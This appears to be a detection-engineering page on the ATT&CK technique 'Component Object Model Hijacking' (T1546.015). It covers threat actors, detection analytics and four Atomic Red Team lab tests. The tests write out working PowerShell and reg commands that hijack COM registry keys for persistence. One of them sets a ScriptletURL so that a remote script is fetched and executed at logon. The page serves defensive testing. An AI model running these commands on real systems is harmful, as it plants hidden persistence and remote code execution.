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ATT&CK Technique

Component Object Model Hijacking

T1546.015 · privilege-escalation, persistence

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.

Adversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.

An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. One variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads.

Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the "script:" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.

Windows

Actors Using This

10
russiaAPT28
iranOilRig
north_koreaAPT37
north_koreaKimsuky
russiaTurla

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
resource-development earlier

Atomic Tests

4
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
powershellwindowsCOM Hijacking - InprocServer32
This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe. Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
powershellwindowsPowershell Execute COM Object
Use the PowerShell to execute COM CLSID object. Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
$item = $o.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
powershellwindowsCOM Hijacking with RunDLL32 (Local Server Switch)
This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via "rundll32.exe -localserver [clsid]". This method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. Reference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/ Upon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened.
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'
powershellwindowsCOM hijacking via TreatAs
This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute. Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out. References: https://youtu.be/3gz1QmiMhss?t=1251 https://github.com/enigma0x3/windows-operating-system-archaeology
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.dll" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /T REG_SZ /d "Apartment" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /T REG_SZ /d "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID" /ve /T REG_SZ /d "AtomicTest" /f

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

rundll32.exe -sta "AtomicTest" 

Detection Coverage

2/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 8
Analytics (MITRE CAR) 1
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

CAR Analytics

1
MITRE Cyber Analytics Repository - field-tested detection logic for this technique, written as pseudocode/queries you adapt to your own SIEM (Splunk, Sentinel, EQL). Each is a ready starting point for a detection rule, not just a description.
CAR-2020-09-002Moderate coverageComponent Object Model Hijacking

Adversaries may establish persistence or escalate privileges by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. This is typically done by replacing COM object registry entries under the HKEY_CURRENT_USER\Software\Classes\CLSID or HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID keys. Accordingly, this analytic looks for any changes under these keys.

Pseudocode - Pseudocode - COM object registry entry modification
registry_keys = search (Registry:Create AND Registry:Remove AND Registry:Edit)
clsid_keys = filter registry_keys where (
  key = "*\Software\Classes\CLSID\*")
output clsid_keys
Splunk - Splunk search - COM object registry entry modification
index=__your_sysmon_index__ (EventCode=12 OR EventCode=13 OR EventCode=14) TargetObject="*\\Software\\Classes\\CLSID\\*"
LogPoint - LogPoint search - COM object registry entry modification
norm_id=WindowsSysmon event_id IN [12, 13, 14] target_object="*\Software\Classes\CLSID\*"

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